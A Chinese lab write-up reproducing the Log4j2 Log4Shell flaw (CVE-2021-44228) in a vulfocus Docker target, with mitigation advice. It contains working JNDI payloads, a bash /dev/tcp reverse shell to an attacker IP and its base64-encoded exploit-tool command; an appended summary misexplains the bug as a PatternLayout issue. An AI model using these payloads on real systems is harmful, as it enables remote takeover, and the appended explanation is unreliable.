CVE-2021-44228——Log4j2-RCE漏洞复现

漏洞介绍

Apache Log4j2是一个基于java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

影响版本

Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

环境搭建

  1. 使用docker搭建vulfocus的漏洞靶场
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
  1. 浏览器访问http://192.168.130.180,部署成功
    在这里插入图片描述

漏洞复现

  1. 通过DNSLog平台获取到域名klcbkf.dnslog.cn在这里插入图片描述
  2. 浏览器点击???,并使用Burpsuite进行抓包,构造payload:${jndi:111.klcbkf.dnslog.cn},此时若直接发包会导致服务器400错误,通过Burpsuite自带的编码工具对其进行URL编码,编码后再次发送请求
    在这里插入图片描述在这里插入图片描述
  3. 在DNSLog网站成功接收到解析记录,证明存在Log4j2-RCE漏洞
    在这里插入图片描述
  4. 使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用
    在这里插入图片描述
使用方式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反弹shell指令:
bash -i >& /dev/tcp/ip/port 0>&1
此处ip为攻击机IP,port可使用任意未被占用的端口,将此条命令进行Java Runtime Bash 编码:
bash -i >& /dev/tcp/192.168.130.152/4444 0>&1
编码地址:https://www.jackson-t.ca/runtime-exec-payloads.html
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定攻击机的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMC4xNTIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.130.152
  1. 在新的窗口监听4444端口
    在这里插入图片描述

  2. 替换工具生成的payload:rmi://192.168.130.152:1099/opx68u 到Burpsuite,编码后发送到攻击机
    在这里插入图片描述

  3. 攻击机的监听窗口成功接收到反弹的shell:
    在这里插入图片描述

修复建议

官方方案

  • 将Log4j框架升级到2.15.0版本, 不要用2.15.0-rc1和2.15.0-rc2

临时方案

  • 升级JDK

  • 修改log4j配置

    ①设置参数:
    log4j2.formatMsgNoLookups=True
    ②修改jvm参数:
    -Dlog4j2.formatMsgNoLookups=true
    ③系统环境变量:
    FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
    ④禁止log4j2所在的服务器外连

  • 使用安全产品防护:WAF、RASP

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2的CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值